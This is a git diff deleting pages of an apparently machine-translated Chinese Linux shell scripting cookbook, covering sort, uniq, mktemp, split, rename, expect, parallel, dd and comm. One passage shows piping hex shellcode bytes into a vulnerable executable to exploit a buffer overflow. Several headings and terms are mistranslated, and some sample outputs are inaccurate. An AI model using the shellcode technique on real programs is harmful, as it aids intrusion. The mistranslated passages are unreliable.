-如示例所示,`sort`接受许多参数来定义如何对数据进行排序。排序命令对于期望排序输入的`uniq`命令很有用。 - -有许多可以使用`sort`和`uniq`命令的场景。让我们来看看各种选项和使用技巧。 - -为了检查文件是否已经被排序,我们利用了这样一个事实,即如果文件被排序并且非零,则`sort`返回退出代码(`$?`)为 0。 - -```sh -if sort -c fileToCheck ; then echo sorted ; else echo unsorted ; fi - -``` - -# 还有更多... - -这些是`sort`命令的一些基本用法。以下是使用它来完成复杂任务的部分: - -# 根据键或列排序 - -如果输入数据的格式如下,我们可以使用带有排序的列: - -```sh -$ cat data.txt -1 mac 2000 -2 winxp 4000 -3 bsd 1000 -4 linux 1000 - -``` - -我们可以通过多种方式对此进行分类;目前,它是按照序列号(第一列)进行数字排序的。我们也可以按第二列或第三列排序。 - -`-k`选项指定排序依据的字符。单个数字指定列。`-r`选项指定按相反顺序排序。考虑这个例子: - -```sh -# Sort reverse by column1 -$ sort -nrk 1 data.txt -4 linux 1000 -3 bsd 1000 -2 winxp 4000 -1 mac 2000 -# -nr means numeric and reverse - -# Sort by column 2 -$ sort -k 2 data.txt -3 bsd 1000 -4 linux 1000 -1 mac 2000 -2 winxp 4000 - -``` - -Always be careful about the -n option for numeric sort. The sort command treats alphabetical sort and numeric sort differently. Hence, in order to specify numeric sort, the `-n` option should be provided. - -当`-k`后跟单个整数时,它指定文本文件中的一列。列由空格字符分隔。如果我们需要将键指定为一组字符(例如,第 2 列的字符 4-5),我们将范围定义为由句点分隔的两个整数来定义字符位置,并用逗号连接第一个和最后一个字符位置: - -```sh -$ cat data.txt - -1 alpha 300 -2 beta 200 -3 gamma 100 -$ sort -bk 2.3,2.4 data.txt ;# Sort m, p, t -3 gamma 100 -1 alpha 300 -2 beta 200 - -``` - -突出显示的字符将用作数字键。要提取它们,使用它们在行中的位置作为关键格式(在前面的示例中,它们是`2`和`3`)。 - -要使用第一个字符作为密钥,请使用以下命令: - -```sh -$ sort -nk 1,1 data.txt - -``` - -要使排序输出`xargs`与`\0`终止符兼容,请使用以下命令: - -```sh -$ sort -z data.txt | xargs -0 -# Use zero terminator to make safe use with xargs - -``` - -有时,文本可能包含不必要的无关字符,如空格。要按照字典顺序对它们进行排序,忽略标点符号和折叠,请使用以下命令: - -```sh -$ sort -bd unsorted.txt - -``` - -`-b`选项用于忽略文件中的前导空行,`-d`选项指定按字典顺序排序。 - -# 金圣柱 - -`uniq`命令在给定的输入(`stdin`或文件名命令行参数)中找到唯一的行,并报告或删除重复的行。 - -此命令仅适用于已排序的数据。因此,`uniq`经常与`sort`命令一起使用。 - -要生成唯一的行(打印输入中的所有行,并打印一次重复的行),请使用以下命令: - -```sh -$ cat sorted.txt -bash -foss -hack -hack - -$ uniq sorted.txt -bash -foss -hack - -``` - -或者,使用以下方法: - -```sh -$ sort unsorted.txt | uniq - -``` - -仅显示唯一的行(输入文件中不重复的行): - -```sh -$ uniq -u sorted.txt -bash -foss - -``` - -或者,使用以下命令: - -```sh -$ sort unsorted.txt | uniq -u - -``` - -要计算每一行在文件中出现的次数,请使用以下命令: - -```sh -$ sort unsorted.txt | uniq -c - 1 bash - 1 foss - 2 hack - -``` - -要在文件中查找重复的行,请使用以下命令: - -```sh -$ sort unsorted.txt | uniq -d -hack - -``` - -要指定键,我们可以使用`-s`和`-w`参数的组合: - -* `-s`:指定要跳过的第一个 *N* 字符的编号 -* `-w`:指定要比较的最大字符数 - -以下示例描述了使用比较键作为`uniq`操作的索引: - -```sh -$ cat data.txt -u:01:gnu -d:04:linux -u:01:bash -u:01:hack - -``` - -为了仅测试粗体字符(跳过前两个字符并使用后两个字符),我们使用`-s 2`跳过前两个字符,使用`-w 2`使用后两个字符: - -```sh -$ sort data.txt | uniq -s 2 -w 2 -d:04:linux -u:01:bash - -``` - -当一个命令的输出作为输入传递给`xargs`命令时,最好对每个数据元素使用零字节结束符。将输出从`uniq`传递到`xargs`也不例外。如果不使用零字节终止符,则使用默认的空格字符来分割`xargs`命令中的参数。例如,来自`stdin`的文本为`this is a line`的一行将被`xargs`命令视为四个独立的参数,而不是一行。当零字节结束符`\0`用作分隔符时,包含空格的整行被解释为单个参数。 - -`-z`选项生成零字节终止输出: - -```sh -$ uniq -z file.txt - -``` - -该命令删除所有文件,文件名从`files.txt`读取: - -```sh -$ uniq -z file.txt | xargs -0 rm - -``` - -如果文件名出现多次,`uniq`命令只将文件名写入`stdout`一次,从而避免出现`rm: cannot remove FILENAME: No such file or directory`错误。 - -# 临时文件命名和随机数 - -Shell 脚本通常需要存储临时数据。最合适的位置是`/tmp`(重启时会被系统清空)。有两种方法可以为临时数据生成标准文件名。 - -# 怎么做... - -`mktemp`命令将创建一个唯一的临时文件或文件夹名称: - -1. 创建临时文件: - -```sh - $ filename=`mktemp` - $ echo $filename - /tmp/tmp.8xvhkjF5fH - -``` - -这将创建一个临时文件,将名称存储在文件名中,然后显示名称。 - -2. 创建临时目录: - -```sh - $ dirname=`mktemp -d` - $ echo $dirname - tmp.NI8xzW7VRX - -``` - -这将创建一个临时目录,将名称存储在文件名中,并显示名称。 - -* 要生成文件名而不创建文件或目录,请使用以下命令: - -```sh - $ tmpfile=`mktemp -u` - $ echo $tmpfile - /tmp/tmp.RsGmilRpcT - -``` - -这里,文件名存储在`$tmpfile`中,但不会创建文件。 - -* 要基于模板创建临时文件名,请使用以下命令: - -```sh - $mktemp test.XXX - test.2tc - -``` - -# 它是如何工作的... - -`mktemp`命令很简单。它生成一个具有唯一名称的文件,并返回它的文件名(或者在目录的情况下是目录名)。 - -提供自定义模板时,`X`将被随机字母数字字符替换。还要注意的是,模板中必须至少有三个`X`字符才能让`mktemp`工作。 - -# 拆分文件和数据 - -有时有必要将一个大文件分割成更小的文件。很久以前,我们不得不分割文件来传输软盘上的大型数据集。今天,我们为了可读性、为了生成日志或为了解决电子邮件附件的大小限制而拆分文件。这些食谱将展示将文件分成不同块的方法。 - -# 怎么做... - -创建 split 命令是为了分割文件。它接受一个文件名作为参数,并创建一组较小的文件,其中原始文件的第一部分位于按字母顺序排列的第一个新文件中,下一组位于按字母顺序排列的下一个文件中,依此类推。 - -例如,通过指定分割大小,可以将一个 100 KB 的文件分割成每个 10k 的较小文件。拆分命令支持`M`代表 MB,`G`代表 GB,`c`代表字节,`w`代表字。 - -```sh -$ split -b 10k data.file -$ ls -data.file xaa xab xac xad xae xaf xag xah xai xaj - -``` - -前面的代码将把`data.file`分成十个文件,每个文件为`10k`。新文件命名为`xab`、`xac`、`xad`等。默认情况下,拆分使用字母后缀。要使用数字后缀,请使用`-d`参数。也可以使用`-a`长度指定后缀长度: - -```sh -$ split -b 10k data.file -d -a 4 - -$ ls -data.file x0009 x0019 x0029 x0039 x0049 x0059 x0069 x0079 - -``` - -# 还有更多... - -`split`命令有更多选项。让我们仔细检查一下。 - -# 为分割文件指定文件名前缀 - -所有以前的拆分文件名都以 x 开头。如果我们要拆分多个文件,我们需要给这些文件命名,所以很明显哪个文件与哪个文件相匹配。我们可以通过提供前缀作为最后一个参数来使用我们自己的文件名前缀。 - -让我们运行前一个带有`split_file`前缀的命令: - -```sh -$ split -b 10k data.file -d -a 4 split_file -$ ls -data.file split_file0002 split_file0005 split_file0008 -strtok.c -split_file0000 split_file0003 split_file0006 split_file0009 -split_file0001 split_file0004 split_file0007 - -``` - -要根据每次拆分的行数而不是块大小来拆分文件,请使用以下命令: - -```sh --l no_of_lines: - # Split into files of 10 lines each. - $ split -l 10 data.file - -``` - -`csplit`实用程序根据上下文而不是大小分割文件。它可以根据行数或正则表达式模式进行拆分。这对拆分日志文件特别有用。 - -查看以下示例日志: - -```sh -$ cat server.log -SERVER-1 -[connection] 192.168.0.1 success -[connection] 192.168.0.2 failed -[disconnect] 192.168.0.3 pending -[connection] 192.168.0.4 success -SERVER-2 -[connection] 192.168.0.1 failed -[connection] 192.168.0.2 failed -[disconnect] 192.168.0.3 success -[connection] 192.168.0.4 failed -SERVER-3 -[connection] 192.168.0.1 pending -[connection] 192.168.0.2 pending -[disconnect] 192.168.0.3 pending -[connection] 192.168.0.4 failed - -``` - -我们可能需要根据每个文件中每个`SERVER`的内容将文件拆分为`server1.log`、`server2.log`和`server3.log`。这可以通过以下方式实现: - -```sh -$ csplit server.log /SERVER/ -n 2 -s {*} -f server -b "%02d.log" $ rm server00.log -$ ls -server01.log server02.log server03.log server.log - -``` - -该命令的详细信息如下: - -* `/SERVER/`:这是用来匹配要进行拆分的行的行。 -* `/[REGEX]/`:这是格式。它从当前行(第一行)复制到包含`SERVER`的匹配行,不包括匹配行。 -* `{*}`:这指定根据匹配重复分割,直到文件结束。我们可以通过在花括号之间放置一个数字来指定它要继续的次数。 -* `-s`:这是让命令静音而不是打印其他消息的标志。 -* `-n`:指定作为后缀的位数。`01`、`02`、`03`等等。 -* `-f`:指定拆分文件的文件名前缀(`server`是上例中的前缀)。 -* `-b`:指定后缀格式。`"%02d.log"`类似于 C 语言中的`printf`参数格式,这里*文件名=前缀+后缀*,即`"server" + "%02d.log"`。 - -我们删除`server00.log`,因为第一个分割文件是一个空文件(匹配字是文件的第一行)。 - -# 基于扩展名分割文件名 - -许多 shell 脚本执行涉及修改文件名的操作。他们可能需要重命名文件并保留扩展名,或者将文件从一种格式转换为另一种格式并更改扩展名,同时保留名称,提取文件名的一部分,等等。 - -该 Shell 具有操作文件名的内置功能。 - -# 怎么做... - -`%`操作员将从`name.extension`中提取名称。本示例从`sample.jpg`中提取`sample`: - -```sh -file_jpg="sample.jpg" -name=${file_jpg%.*} -echo File name is: $name - -``` - -输出是这样的: - -```sh -File name is: sample - -``` - -`#`操作员将提取分机: - -从存储在`file_jpg`变量中的文件名中提取`.jpg`: - -```sh -extension=${file_jpg#*.} -echo Extension is: jpg - -``` - -输出如下: - -```sh -Extension is: jpg - -``` - -# 它是如何工作的... - -要从格式化为`name.extension`的文件名中提取名称,我们使用`%`运算符。 - -`${VAR%.*}`解释如下: - -* 为出现在`%`(上例中的`.*`)右侧的通配符模式删除`$VAR`中的字符串匹配。从右到左计算找到通配符匹配。 -* 将文件名存储为`VAR=sample.jpg`。因此`.*`从右到左的通配符匹配是`.jpg`。因此,它从`$VAR`串中移除,并且输出是`sample`。 - -`%`是非热操作。它从右向左查找通配符的最小匹配。`%%`算子和`%`相似,但是贪婪。这意味着它找到了通配符字符串的最大匹配。考虑这个例子,我们有这个: - -```sh -VAR=hack.fun.book.txt - -``` - -使用`%`运算符从右向左进行非精确匹配,并匹配`.txt`: - -```sh -$ echo ${VAR%.*} - -``` - -输出将是:`hack.fun.book`。 - -使用`%%`运算符进行贪婪匹配,匹配`.fun.book.txt`: - -```sh -$ echo ${VAR%%.*} - -``` - -输出将是:`hack`。 - -`#`运算符从文件名中提取扩展名。和`%`类似,但是从左到右求值。 - -`${VAR#*.}`解释如下: - -* 删除出现在`#`(上例中的`*.`)右侧的通配符模式匹配的字符串匹配。从左到右的计算应该会使通配符匹配。 - -同样的,和`%%`的情况一样,运算符##是一个相当于#的贪婪。 - -它通过从左到右计算进行贪婪匹配,并从指定变量中移除匹配字符串。让我们用这个例子: - -```sh -VAR=hack.fun.book.txt - -``` - -`#`操作员从左到右执行非重复匹配,并匹配`hack`: - -```sh -$ echo ${VAR#*.} - -``` - -输出将是:`fun.book.txt`。 - -`##`操作者从左到右进行贪婪匹配,匹配`hack.fun.book`: - -```sh -$ echo ${VAR##*.} - -``` - -输出将是:`txt`。 - -The `##` operator is preferred over the `#` operator to extract the extension from a filename, since the filename may contain multiple `.` characters. Since `##` makes a greedy match, it always extracts extensions only. - -这里有一个提取域名不同部分的实际例子,比如 URL= `www.google.com`: - -```sh - -$ echo ${URL%.*} # Remove rightmost .* -www.google - -$ echo ${URL%%.*} # Remove right to leftmost .* (Greedy operator) -www - -$ echo ${URL#*.} # Remove leftmost part before *. -google.com - -$ echo ${URL##*.} # Remove left to rightmost part before *. -(Greedy operator) com - -``` - -# 批量重命名和移动文件 - -我们经常需要移动或者重命名一组文件。系统管理通常需要将具有公共前缀或文件类型的文件移动到新文件夹中。从相机下载的图像可能需要重命名和排序。音乐、视频和电子邮件文件最终都需要重组。 - -其中许多操作都有自定义应用,但是我们可以编写自己的自定义脚本以我们的方式来完成。 - -让我们看看如何编写脚本来执行这些操作。 - -# 准备好 - -`rename`命令使用 Perl 正则表达式更改文件名。通过组合`find`、`rename`和`mv`命令,我们可以执行很多事情。 - -# 怎么做... - -以下脚本使用 find 定位 PNG 和 JPEG 文件,然后使用`##`运算符和`mv`将它们重命名为`image-1.EXT`、`image-2.EXT`等。这会更改文件的名称,但不会更改其扩展名: - -```sh -#!/bin/bash -#Filename: rename.sh -#Desc: Rename jpg and png files - -count=1; -for img in `find . -iname '*.png' -o -iname '*.jpg' -type f -maxdepth 1` -do - new=image-$count.${img##*.} - - echo "Renaming $img to $new" - mv "$img" "$new" - let count++ - -done - -``` - -输出如下: - -```sh -$ ./rename.sh -Renaming hack.jpg to image-1.jpg -Renaming new.jpg to image-2.jpg -Renaming next.png to image-3.png - -``` - -前面的脚本将当前目录中的所有`.jpg`和`.png`文件重命名为新的文件名,格式为`image-1.jpg`、`image-2.jpg`、`image-3.png`、`image-4.png`等。 - -# 它是如何工作的... - -前一个脚本使用`for`循环遍历所有以`.jpg`或`.png`扩展名结尾的文件的名称。`find`命令执行该搜索,使用`-o`选项为不区分大小写的匹配指定多个`-iname`选项。`-maxdepth 1`选项将搜索限制在当前目录,而不是任何子目录。 - -`count`变量初始化为`1`以跟踪图像编号。然后脚本使用`mv`命令重命名文件。文件的新名称是使用`${img##*.}`构建的,它解析当前正在处理的文件名的扩展名(关于`${img##*.}`的解释,请参考本章中基于扩展名的*切片文件名)。* - -`let count++`用于循环每次执行时增加文件号。 - -以下是执行重命名操作的其他方法: - -* 将`*.JPG`重命名为`*.jpg`如下: - -```sh - $ rename *.JPG *.jpg - -``` - -* 用`"_"`字符替换文件名中的空格: - -```sh - $ rename 's/ /_/g' * - -``` - -`# 's/ /_/g'`是文件名中的替换部分,`*`是目标文件的通配符。它可以是`*.txt`或任何其他通配符模式。 - -* 使用这些将任何文件名从大写转换为小写,反之亦然: - -```sh - $ rename 'y/A-Z/a-z/' * - $ rename 'y/a-z/A-Z/' * - -``` - -* 使用这个递归移动所有`.mp3`文件到一个给定的目录: - -```sh - $ find path -type f -name "*.mp3" -exec mv {} target_dir \; - -``` - -* 用`_`字符替换空格,递归重命名所有文件: - -```sh - $ find path -type f -exec rename 's/ /_/g' {} \; - -``` - -# 拼写检查和词典操作 - -大多数 Linux 发行版都包含一个字典文件。然而,很少有人意识到这一点,因此拼写错误比比皆是。`aspell`命令行实用程序是一个拼写检查器。让我们看几个利用字典文件和拼写检查器的脚本。 - -# 怎么做... - -`/usr/share/dict/`目录包含一个或多个字典文件,它们是带有单词列表的文本文件。我们可以使用这个列表来检查一个单词是否是字典单词: - -```sh -$ ls /usr/share/dict/ -american-english british-english - -``` - -要检查给定的单词是否是词典单词,请使用以下脚本: - -```sh -#!/bin/bash -#Filename: checkword.sh -word=$1 -grep "^$1$" /usr/share/dict/british-english -q -if [ $? -eq 0 ]; then - echo $word is a dictionary word; -else - echo $word is not a dictionary word; -fi - -``` - -用法如下: - -```sh -$ ./checkword.sh ful -ful is not a dictionary word - -$ ./checkword.sh fool -fool is a dictionary word - -``` - -# 它是如何工作的... - -在`grep`中,`^`是单词开始标记字符,`$`字符是单词结束标记。`-q`选项抑制任何输出,使`grep`命令安静。 - -或者,我们可以使用拼写检查`aspell`来检查一个单词是否在字典中: - -```sh -#!/bin/bash -#Filename: aspellcheck.sh -word=$1 - -output=`echo \"$word\" | aspell list` - -if [ -z $output ]; then - echo $word is a dictionary word; -else - echo $word is not a dictionary word; -fi - -``` - -当给定的输入不是词典单词时,`aspell list`命令返回输出文本,当输入是词典单词时,不输出任何内容。一个`-z`命令检查`$output`是否为空字符串。 - -`look`命令将显示以给定字符串开头的行。您可以使用它在日志文件中查找以给定日期开头的行,或者在字典中查找以给定字符串开头的单词。默认情况下,`look`搜索`/usr/share/dict/words`,或者你可以提供一个文件进行搜索。 - -```sh -$ look word - -``` - -或者,这可以用于: - -```sh -$ grep "^word" filepath - -``` - -考虑这个例子: - -```sh -$ look android -android -android's -androids - -``` - -用它在`/var/log/syslog`中查找给定日期的行: - -```sh -$look 'Aug 30' /var/log/syslog - -``` - -# 自动交互输入 - -我们在命令行上查看了接受参数的命令。Linux 还支持很多从`passwd`到`ssh`的交互应用。 - -我们可以创建自己的交互式 Shell 脚本。临时用户更容易与一组提示交互,而不是记住命令行标志和正确的顺序。例如,备份用户工作但不备份和锁定文件的脚本可能如下所示: - -```sh -$ backupWork.sh - -``` - -* 应该备份哪个文件夹?`notes` -* 应该备份什么类型的文件?`.docx` - -当您需要重新运行同一个应用时,自动化交互式应用可以节省您的时间,并在开发应用时减少您的挫败感。 - -# 准备好了 - -自动化一项任务的第一步是运行它并记录你做了什么。前面讨论的脚本命令可能有用。 - -# 怎么做... - -检查交互输入的顺序。从前面的代码中,我们可以这样表述序列的步骤: - -```sh -notes[Return]docx[Return] - -``` - -除了前面的步骤,输入`notes`,按下`Return`,输入`docx`,最后按下`Return`转换成单弦,如下图: - -```sh - "notes\ndocx\n" - -``` - -当我们按下 Return 时`\n`字符被发送。通过附加返回(`\n`)字符,我们得到传递给`stdin`(标准输入)的字符串。 - -通过发送用户键入的字符的等效字符串,我们可以自动将输入传递给交互过程。 - -# 它是如何工作的... - -让我们为自动化示例编写一个交互式读取输入的脚本: - -```sh -#!/bin/bash -# backup.sh -# Backup files with suffix. Do not backup temp files that start with ~ -read -p " What folder should be backed up: " folder -read -p " What type of files should be backed up: " suffix -find $folder -name "*.$suffix" -a ! -name '~*' -exec cp {} \ - $BACKUP/$LOGNAME/$folder -echo "Backed up files from $folder to $BACKUP/$LOGNAME/$folder" - -``` - -让我们自动向命令发送输入: - -```sh -$ echo -e "notes\ndocx\n" | ./backup.sh -Backed up files from notes to /BackupDrive/MyName/notes - -``` - -这种自动化交互式脚本的方式可以在开发和调试过程中节省大量的打字时间。它也确保了你每次都执行相同的测试,并且不会因为你输入错误而导致追踪一个幻影 bug。 - -我们使用`echo -e`产生输入序列。`-e`选项向`echo`发出信号,解释转义序列。如果输入很大,我们可以使用输入文件和重定向操作符来提供输入: - -```sh -$ echo -e "notes\ndocx\n" > input.data -$ cat input.data -notes -docx - -``` - -无需手动输入`echo`命令,就可以手工制作输入文件。考虑这个例子: - -```sh -$ ./interactive.sh < input.data - -``` - -这将重定向文件中的交互式输入数据。 - -如果你是一个逆向工程师,你可能玩过缓冲区溢出漏洞。为了利用它们,我们需要重定向一个 Shell 代码,比如用十六进制写的`\xeb\x1a\x5e\x31\xc0\x88\x46`。这些字符不能直接在键盘上键入,因为这些字符的键不存在。因此,我们使用: - -```sh -echo -e \xeb\x1a\x5e\x31\xc0\x88\x46" - -``` - -这将把字节序列重定向到易受攻击的可执行文件。 - -这些回声和重定向技术使交互式输入程序自动化。然而,这些技术是脆弱的,因为没有有效性检查,并且假设目标应用总是以相同的顺序接受数据。如果程序以不断变化的顺序要求输入,或者有些输入并不总是必需的,这些方法就会失败。 - -预期程序可以执行复杂的交互,并适应目标应用的变化。该程序在全球范围内用于控制硬件测试、验证软件构建、查询路由器统计数据等等。 - -# 还有更多... - -expect 应用是一个类似于 shell 的解释器。它基于 TCL 语言。我们将讨论简单自动化的产生、预期和发送命令。有了 TCL 语言的支持,expect 可以完成更复杂的任务。你可以在 [www.tcl.tk](http://www.tcl.tk) 网站上了解更多关于 TCL 语言的知识。 - -# 期待自动化 - -`expect`并不是所有的 Linux 发行版默认都有。您可能需要使用软件包管理器(`apt-get`或`yum`)安装 expect 软件包。 - -Expect 有三个主要命令: - -| **命令** | **描述** | -| `spawn` | 运行新的目标应用。 | -| `expect` | 观察目标应用发送的模式。 | -| `send` | 向目标应用发送字符串。 | - -以下示例生成备份脚本,然后查找模式`*folder*`和`*file*`,以确定备份脚本是要求文件夹名称还是文件名。然后,它将发送适当的回复。如果备份脚本被重写以首先请求文件,然后请求文件夹,这个自动化脚本仍然可以工作。 - -```sh -#!/usr/bin/expect -#Filename: automate_expect.tcl -spawn ./backup .sh -expect { - "*folder*" { - send "notes\n" - exp_continue - } - "*type*" { - send "docx\n" - exp_continue - } -} - -``` - -运行方式为: - -```sh -$ ./automate_expect.tcl - -``` - -`spawn`命令的参数是要自动化的目标应用和参数。 - -`expect`命令接受一组要寻找的模式,以及当该模式匹配时要执行的动作。该操作包含在大括号中。 - -`send`命令是要发送的消息。这类似于回声`-n -e`,因为它不自动包含换行符,并且理解反斜杠符号。 - -# 通过运行并行进程使命令更快 - -计算能力不断提高,不仅因为处理器的时钟周期更高,还因为它们有多个内核。这意味着在单个硬件处理器中有多个逻辑处理器。就像有几台电脑,而不是只有一台。 - -但是,除非软件使用多核,否则多核是无用的。例如,一个进行大量计算的程序可能只在一个内核上运行,而其他内核将处于空闲状态。如果我们想让软件更快,它必须意识到并利用多核。 - -在这个食谱中,我们将看到如何让我们的命令运行得更快。 - -# 怎么做... - -让我们举一个我们在前面的食谱中讨论过的`md5sum`命令的例子。该命令执行复杂的计算,使其成为 CPU 密集型。如果我们有多个要生成校验和的文件,我们可以使用如下脚本运行`md5sum`的多个实例: - -```sh -#/bin/bash -#filename: generate_checksums.sh -PIDARRAY=() -for file in File1.iso File2.iso -do - md5sum $file & - PIDARRAY+=("$!") -done -wait ${PIDARRAY[@]} - -``` - -当我们运行该程序时,我们会得到以下输出: - -```sh -$ ./generate_checksums.sh -330dcb53f253acdf76431cecca0fefe7 File1.iso -bd1694a6fe6df12c3b8141dcffaf06e6 File2.iso - -``` - -输出将与运行以下命令相同: - -```sh -md5sum File1.iso File2.iso - -``` - -然而,如果`md5sum`命令同时运行,如果您有多核处理器,您将更快地获得结果(您可以使用`time`命令验证这一点)。 - -# 它是如何工作的... - -我们利用 Bash 操作数`&`,它指示 shell 将命令发送到后台并继续执行脚本。然而,这意味着我们的脚本将在循环完成后立即退出,而`md5sum`进程仍在后台运行。为了防止这种情况,我们使用`$!`获取进程的 PID,它在 Bash 中保存最后一个后台进程的 PID。我们将这些 PiD 附加到一个数组中,然后使用`wait`命令等待这些过程完成。 - -# 还有更多... - -Bash `&`操作数适用于少量任务。如果您有 100 个文件要校验,脚本会尝试启动 100 个进程,并可能迫使您的系统进行交换,这将使任务运行得更慢。 - -GNU 并行命令不是所有安装的一部分,但是它也可以用您的包管理器加载。并行命令优化了资源的使用,而不会使任何资源过载。 - -并行命令读取`stdin`上的文件列表,并使用类似于查找命令的`-exec`参数的选项来处理这些文件。`{}`符号代表要处理的文件,`{.}`符号代表不带后缀的文件名。 - -以下命令使用 **Imagemagick 的** `convert`命令为一个文件夹中的所有图像制作新的、调整大小的图像: - -```sh -ls *jpg | parallel convert {} -geometry 50x50 {.}Small.jpg - -``` - -# 检查目录、其中的文件和子目录 - -我们处理的最常见的问题之一是找到放错地方的文件,并整理出混乱的文件层次结构。本节将讨论检查文件系统的一部分和呈现内容的技巧。 - -# 准备好了 - -我们讨论的`find`命令和循环为我们提供了检查和报告目录及其内容细节的工具。 - -# 怎么做... - -接下来的食谱展示了两种检查目录的方法。首先,我们将层次结构显示为树,然后我们将看到如何在一个目录下生成文件和文件夹的摘要。 - -# 生成目录的树视图。 - -有时,如果文件系统以图形方式呈现,则更容易可视化。 - -下一个配方汇集了我们讨论过的几个工具。它使用 find 命令生成当前文件夹下所有文件和子文件夹的列表。 - -`-exec`选项创建一个子 Shell,它使用 echo 将文件名发送到`tr`命令的`stdin`。有两个`tr`命令。第一个删除所有字母数字字符,以及任何破折号(`-`)、下划线(`_`)或句点(`.`)。这仅将路径中的斜线(`/`)传递给第二个`tr`命令,该命令将这些斜线转换为空格。最后,`basename`命令从文件名中去除前导路径并显示它。 - -使用这些查看`/var/log`中的文件夹树: - -```sh -$ cd /var/log -$ find . -exec sh -c 'echo -n {} | tr -d "[:alnum:]_.\-" | \ - tr "/" " "; basename {}' \; - -``` - -生成以下输出: - -```sh -mail - statistics -gdm - ::0.log - ::0.log.1 -cups - error_log - access_log - ... access_l - -``` - -# 生成文件和子目录的摘要 - -我们可以结合`find`命令、`echo`和`wc`命令生成子目录列表以及其中的文件数量,这将在下一章中详细讨论。 - -使用以下内容获取当前文件夹中文件的摘要: - -```sh -for d in `find . -type d`; - do - echo `find $d -type f | wc -l` files in $d; -done - -``` - -如果该脚本在`/var/log`中运行,它将生成如下输出: - -```sh -103 files in . -17 files in ./cups -0 files in ./hp -0 files in ./hp/tmp - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/03.md b/docs/linux-shell-script-cb/03.md deleted file mode 100644 index 60c0fd08..00000000 --- a/docs/linux-shell-script-cb/03.md +++ /dev/null @@ -1,1764 +0,0 @@ -# 三、文件进文件出 - -在这一章中,我们将介绍以下食谱: - -* 生成任何大小的文件 -* 文本文件上的交集和集差(A-B) -* 查找和删除重复文件 -* 使用文件权限、所有权和粘性位 -* 使文件不可变 -* 批量生成空白文件 -* 寻找符号链接及其目标 -* 枚举文件类型统计信息 -* 使用回送文件 -* 创建国际标准化组织文件和混合国际标准化组织 -* 找出文件之间的区别,并进行修补 -* 使用头部和尾部打印最后或前 10 行 -* 仅列出目录-替代方法 -* 使用`pushd`和`popd`快速命令行导航 -* 计算文件中的行数、字数和字符数 -* 打印目录树 -* 操作视频和图像文件 - -# 介绍 - -Unix 为所有设备和系统功能提供了文件风格的界面。特殊文件提供对设备(如 u 盘和磁盘驱动器)的直接访问,并提供对系统功能(如内存使用、传感器和进程堆栈)的访问。例如,我们使用的命令终端与设备文件相关联。我们可以通过写入相应的设备文件来写入终端。我们可以访问目录、常规文件、块设备、特殊字符设备、符号链接、套接字、命名管道等作为文件。文件名、大小、文件类型、修改时间、访问时间、更改时间、信息节点、关联的链接以及文件所在的文件系统都是文件可以具有的属性。本章讨论处理与文件相关的操作或属性的方法。 - -# 生成任何大小的文件 - -随机数据文件对测试很有用。您可以使用这样的文件来测试应用的效率,确认应用是真正的输入中立的,确认您的应用没有大小限制,创建环回文件系统(**环回文件**是可以包含文件系统本身的文件,这些文件可以使用`mount`命令类似地装载到物理设备上)等等。Linux 提供了构建此类文件的通用实用程序。 - -# 怎么做... - -创建给定大小的大文件最简单的方法是使用`dd`命令。`dd`命令克隆给定的输入,并将精确的副本写入输出。输入可以是`stdin`,一个设备文件,一个普通文件,等等。输出可以是`stdout`,设备文件,普通文件等等。`dd`命令的一个例子如下: - -```sh -$ dd if=/dev/zero of=junk.data bs=1M count=1 -1+0 records in -1+0 records out -1048576 bytes (1.0 MB) copied, 0.00767266 s, 137 MB/s - -``` - -该命令创建一个名为`junk.data`的文件,其中恰好包含 1 MB 的零。 - -让我们看一下参数: - -* `if`定义`input`文件 -* `of`定义`output`文件 -* `bs`定义块中的字节 -* `count`定义要复制的块数 - -Be careful while using the `dd` command as root, as it operates on a low level with the devices. A mistake could wipe your disk or corrupt the data. Double-check your `dd` command syntax, especially your of `=` parameter for accuracy. -In the previous example, we created a 1 MB file, by specifying `bs` as 1 MB with a count of 1\. If `bs` was set to `2M` and `count` to `2`, the total file size would be 4 MB. - -我们可以使用各种单位为**区块** **大小** ( **bs** )。将下列任何字符附加到数字上以指定大小: - -| **单位尺寸** | **代码** | -| 字节(1 B) | `C` | -| 单词(2 B) | `W` | -| 第 512 区 | `B` | -| 千字节(1024 字节) | `K` | -| 兆字节(1024 KB) | `M` | -| 千兆字节(1024 兆字节) | `G` | - -我们可以使用 **bs** 生成任意大小的文件。除了兆字节,我们还可以使用任何其他的单位符号,比如上表中提到的那些。 - -`/dev/zero`是字符专用设备,返回零字节(`\0`)。 - -如果输入参数(`if`)未指定,dd 将从`stdin`读取输入。如果输出参数(`of`)未指定,`dd`将使用`stdout`。 - -`dd`命令可用于测量内存操作的速度,方法是将大量数据传输到`/dev/null`并检查命令输出(例如,`1048576 bytes (1.0 MB) copied, 0.00767266 s, 137 MB/s`,如前例所示)。 - -# 文本文件上的交集和集差(A-B) - -交集和集差运算在集合论数学课中很常见。在某些情况下,对字符串的类似操作很有用。 - -# 准备好了 - -`comm`命令是一个在两个排序文件之间进行比较的实用程序。它显示文件 1、文件 2 和两个文件中的行的唯一行。它可以选择多隐藏一列,这样就很容易执行交集和差集操作。 - -* **交集**:交集操作将打印指定文件彼此共有的行 -* **差异**:差异操作将打印指定文件包含的行以及所有这些文件中不相同的行 -* **设置差异**:设置差异操作将打印文件`A`中与指定的所有文件集不匹配的行(`B`加`C`) - -# 怎么做... - -注意`comm`取两个排序后的文件作为输入。以下是我们的示例输入文件: - -```sh -$ cat A.txt -apple -orange -gold -silver -steel -iron - -$ cat B.txt -orange -gold -cookies -carrot - -$ sort A.txt -o A.txt ; sort B.txt -o B.txt - -``` - -1. 首先,执行`comm`没有任何选项: - -```sh - $ comm A.txt B.txt - apple - carrot - cookies - gold - iron - orange - silver - steel - -``` - -输出的第一列包含仅在`A.txt`中的行。第二列包含仅在`B.txt`中的行。第三列包含来自`A.txt`和`B.txt`的常用行。每一列都用制表符(`\t`)分隔。 - -2. 为了打印两个文件的交集,我们需要删除第一列和第二列,并打印第三列。`-1`选项删除第一列,`-2`选项删除第二列,留下第三列: - -```sh - $ comm A.txt B.txt -1 -2 - gold - orange - -``` - -3. 通过删除列`3`,只打印两个文件之间不常见的行: - -```sh - $ comm A.txt B.txt -3 - apple - carrot - cookies - iron - silver - steel - -``` - -该输出使用两列空白来显示文件 1 和文件 2 中的唯一行。通过将两列合并成一列,我们可以将它作为一个独特的行列表,使其可读性更好,如下所示: - -```sh - apple - carrot - cookies - iron - silver - steel - -``` - -4. 可以通过删除带有`tr`的制表符来合并行(在[第 2 